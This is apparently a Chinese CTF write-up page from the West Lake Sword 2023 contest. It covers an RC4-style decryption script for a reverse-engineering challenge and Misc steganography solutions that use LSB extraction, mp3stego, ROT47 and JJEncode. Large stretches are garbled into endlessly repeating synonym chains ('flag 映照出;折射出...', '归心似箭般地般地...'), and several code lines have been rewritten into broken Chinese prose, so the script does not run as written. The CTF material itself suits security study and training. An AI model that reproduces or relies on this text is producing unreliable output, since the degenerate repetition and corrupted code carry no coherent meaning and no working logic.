flag 等于;flag 为;flag 是;flag 有着;flag 具备;flag 含有;flag 包含;flag 蕴含;flag 体现;flag 显示;flag 表明;flag 显示出;flag 呈现出;flag 展现出;flag 显露;flag 表露;flag 透露;flag 显现;flag 显出;flag 呈现;flag 展露出;flag 流露出;flag 透露着;flag 显示着;flag 体现出;flag 表现出;flag 反映出;flag 映照出;flag 折射出;flag 映射出;flag 投射出;flag 投射着;flag 反映着;flag 映照出;flag 折射出;flag 映射出;flag 投射出;flag 投射着;flag 反映着;flag 映照出;flag 折射出;flag 映射出;flag 投射出;flag 投射着;flag 反映着;flag 映照出;flag 折射出;flag 映射出;flag 投射出;flag 投射着;flag 反映着;flag 映照出;flag 折射出;flag 映射出;flag 投射出;flag 投射着;flag 反映着;flag 映照出;flag 折射出;flag 映射出;flag 投射出;flag 投射着;flag 反映着;flag 映照出;flag 折射出;flag 映射出;flag 投射出;flag 投射着;flag 反映着;flag 映照出;flag 折射出;flag 映射出;flag 投射出;flag 投射着;flag 反映着;flag 映照出;flag 折射出;flag 映射出;flag 投射出;flag 投射着;flag 反映着;flag 映照出;flag 折射出;flag 映射出;flag 投射出;flag 投射着;flag 反映着;flag 映照出;flag 折射出;flag 映射出;flag 投射出;flag 投射着;flag 反映着;flag 映照出;flag 折射出;flag 映射出;flag 投射出;flag 投射着;flag 反映着;flag 映照出;flag 折射出;flag 映射出;flag 投射出;flag 投射着;flag 反映着;flag 映照出;flag 折射出;flag 映射出;flag 投射出;flag 投射着;flag 反映着;flag 映照出;flag 折射出;flag 映射出;flag 投射出;flag 投射着;flag 反映着;flag 映照出;flag 折射出;flag 映射出;flag 投射出;flag 投射着;flag 反映着;flag 映照出;flag 折射出;flag 映射出;flag 投射出;flag 投射着;flag 反映着;flag 映照出;flag 折射出;flag 映射出;flag 投射出;flag 投射着;flag 反映着;flag 映照出;flag 折射出;flag 映射出;flag 投射出;flag 投射着;flag 反映着;flag 映照出;flag 折射出;flag 映射出;flag 投射出;flag 投射着;flag 反映着;flag 映照出;flag 折射出;flag 映射出;flag 投射出;flag 投射着;flag 反映着;flag 映照出;flag 折射出;flag 映射出;flag 投射出;flag 投射着;flag 反映着;flag 映照出;flag 折射出;flag 映射出;flag 投射出;flag 投射着;flag 反映着;flag 映照出;flag 折射出;flag 映射出;flag 投射出;flag 投射着;flag 反映着;flag 映照出;flag 折射出;flag 映射出;flag 投射出;flag 投射着;flag 反映着;flag 映照出;flag 折射出;flag 映射出;flag 投射出;flag 投射着;flag 反映着;flag 映照出;flag 折射出;flag 映射出;flag 投射出;flag 投射着;flag 反映着;flag 映照出;flag 折射出;flag 映射出;flag 投射出;flag 投射着;flag 反映着;flag 映照出;flag 折射出;flag 映射出;flag 投射出;flag 投射着;flag 反映着;flag 映照出;flag 折射出;flag0
                                break
                        if flag==1:
打印 j1、j2、j3、j4、j5、j6。
从……出来;离开……;退出……;结束……;离去……;告退……;退场……;退去……;撤离……;脱身……;脱身而出……;抽身而退……;退避三舍……;远走高飞……;溜之大吉……;逃之夭夭……;偃旗息鼓……;鸣金收兵……;收兵回营……;打道回府……;得胜回朝……;凯旋而归……;班师回朝……;荣归故里……;衣锦还乡……;叶落归根……;告老还乡……;告老归田……;解甲归田……;卸甲归田……;归心似箭……;归心彷徨……;归心若渴……;归心如飞……;归心似火……;归心似箭般……;归心似箭似的……;归心似箭一般地……;归心似箭似……;归心似箭般似……;归心似箭般地似……;归心似箭般地般……;归心似箭般地般地……;归心似箭般地般地般……;归心似箭般地般地般地……;归心似箭般地般地般地般……;归心似箭般地般地般地般地……;归心似箭般地般地般地般地般……;归心似箭般地般地般地般地般地……;归心似箭般地般地般地般地般地般……;归心似箭般地般地般地般地般地般地……;归心似箭般地般地般地般地般地般地般……;归心似箭般地般地般地般地般地般地般地……;归心似箭般地般地般地般地般地般地般地般……;归心似箭般地般地般地般地般地般地般地般地……;归心似箭般地般地般地般地般地般地般地般地般……;归心似箭般地般地般地般地般地般地般地般地般地……;归心似箭般地般地般地般地般地般地般地般地般地般……;归心似箭般地般地般地般地般地般地般地般地般地般地……;归心似箭般地般地般地般地般地般地般地般地般地般地般……;归心似箭般地般地般地般地般地般地般地般地般地般地般地……;归心似箭般地般地般地般地般地般地般地般地般地般地般地般……;归心似箭般地般地般地般地般地般地般地般地般地般地般地般地……;归心似箭般地般地般地般地般地般地般地般地般地般地般地般地般……;归心似箭般地般地般地般地般地般地般地般地般地般地般地般地般地……;归心似箭般地般地般地般地般地般地般地般地般地般地般地般地般地般……;归心似箭般地般地般地般地般地般地般地般地般地般地般地般地般地般地……;归心似箭般地般地般地般地般地般地般地般地般地般地般地般地般地般地般……;归心似箭般地般地般地般地般地般地般地般地般地般地般地般地般地般地般地……;归心似箭般地般地般地般地般地般地般地般地般地般地般地般地般地般地般地般……;归心似箭般地般地般地般地般地般地般地般地般地般地般地般地般地般地般地般地……;归心似箭般地般地般地般地般地般地般地般地般地般地般地般地般地般地般地般地……;归心似箭般地般地般地般地般地般地般地般地般地般地般地般地般地般地般地般地般……;归心似0)

获得密钥[56,48,55,51,57,49],然后便可进行常规的解密操作。

def base83decode(num):
    bina=''
    for i in num:
bina 加上 bin(int(chr(i))) 的结果在2:].rjust(3,'0')
    return [int(bina[i:i+8],2) for i in range(0,len(bina),8)]

key=[56,48,55,51,57,49]
for i in range(256):
    s[i]=i
v6=0
for i in range(256):
    v6=(v6+key[i%6]+s[i])%256
    s[i],s[v6]=s[v6],s[i]
v7,v6=0,0
for i in range(112):
    v7=(v7+1)%256
    v6=(v6+s[v7])%256
    s[v7],s[v6]=s[v6],s[v7]
cipher 的第 i 个元素与 s 中((s 的 v6 元素加上 s 的 v7 元素)取余)位置的元素进行异或运算。256]
txt=base83decode(cipher)
print(bytes(txt+key))

Misc签到

使用 HexEditor 查看图片后,发现其尾部存在汉字编码。向公众号发送“西湖论剑 2023 我来了!”,从而得到了 flag。

mp3

HexEditor 对 MP3 文件进行查看,结果发现其中存在 png 格式的头 89504E47。

提取图片,然后用 Stegsolve 查看 lsb 隐写。经过查看发现,任意勾选三通道中的其中一个通道,就能够解出一个 zip 压缩包。

提取压缩包数据后发现其已被加密。接着用 mp3stego 查看 mp3 文件中是否含有隐写。这里出现了一个非预期的情况:输入任意的 passphrase 都能够分离出包含压缩包口令的 txt 文件,最终得到的压缩包口令是 8750d5109208213f。解压之后得到了 47.txt,我们猜测其内容经过了 ROT47 处理。经过处理后还原得到了一串 JJEncode 混淆编码,将这串编码输入到 chrome 控制台中,最终拿到了 flag。

你可能想看:
« 上一篇
下一篇 »

相关推荐

php实时推送,php实地培训

2026年10月05日

50阅读

php乱码出现问号的原因,php乱码出现问号的原因有哪些

2026年10月05日

42阅读

php一句话木马,一句话木马ctf

2026年10月05日

45阅读

php获取数组长度,php中如何获取数组的长度

2026年10月05日

46阅读

php面试题库及答案,php程序员面试真题库

2026年10月05日

44阅读

phpcontent-type修改,php源码二次修改需要多少钱

2026年10月05日

40阅读